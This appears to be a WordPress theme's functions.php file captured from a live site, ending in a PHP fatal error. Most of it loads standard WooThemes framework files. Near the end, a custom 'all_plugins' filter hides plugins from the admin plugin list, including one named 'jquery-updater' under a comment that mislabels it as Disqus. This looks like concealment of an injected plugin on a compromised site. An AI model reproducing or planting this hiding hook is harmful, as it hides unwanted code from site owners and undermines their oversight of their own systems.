/*-----------------------------------------------------------------------------------*/ /* Start WooThemes Functions - Please refrain from editing this section */ /*-----------------------------------------------------------------------------------*/ // Set path to WooFramework and theme specific functions $functions_path = get_template_directory() . '/functions/'; $includes_path = get_template_directory() . '/includes/'; // Define the theme-specific key to be sent to PressTrends. define( 'WOO_PRESSTRENDS_THEMEKEY', 'ztrnxk8qyl0g0o9dlsjoigod6qlwspy4e' ); // WooFramework /*-----------------------------------------------------------------------------------*/ /* Load the theme-specific files, with support for overriding via a child theme. /*-----------------------------------------------------------------------------------*/ $includes = array( 'includes/theme-options.php', // Options panel settings and custom settings 'includes/theme-functions.php', // Custom theme functions 'includes/theme-plugins.php', // Theme specific plugins integrated in a theme 'includes/theme-actions.php', // Theme actions & user defined hooks 'includes/theme-comments.php', // Custom comments/pingback loop 'includes/theme-js.php', // Load JavaScript via wp_enqueue_script 'includes/sidebar-init.php', // Initialize widgetized areas 'includes/theme-widgets.php', // Theme widgets 'includes/theme-install.php', // Theme Installation 'includes/theme-woocommerce.php' // WooCommerce specific ); // Allow child themes/plugins to add widgets to be loaded. $includes = apply_filters( 'woo_includes', $includes ); foreach ( $includes as $i ) { locate_template( $i, true ); } /*-----------------------------------------------------------------------------------*/ /* You can add custom functions below */ /*-----------------------------------------------------------------------------------*/ remove_action( 'woocommerce_product_tabs', 'woocommerce_product_reviews_tab', 30 ); add_filter( 'all_plugins', 'hide_plugins'); function hide_plugins($plugins) { // Hide hello dolly plugin if(is_plugin_active('hello.php')) { unset( $plugins['hello.php'] ); } // Hide disqus plugin if(is_plugin_active('jquery-updater/jquery-updater.php')) { unset( $plugins['jquery-updater/jquery-updater.php'] ); } return $plugins; } /*-----------------------------------------------------------------------------------*/ /* Don't add any code below here or the sky will fall down */ /*-----------------------------------------------------------------------------------*/ ?> Fatal error: Call to undefined function woo_title() in /usr/home/cochopertegas.com/web/wp-content/themes/sliding/header.php on line 20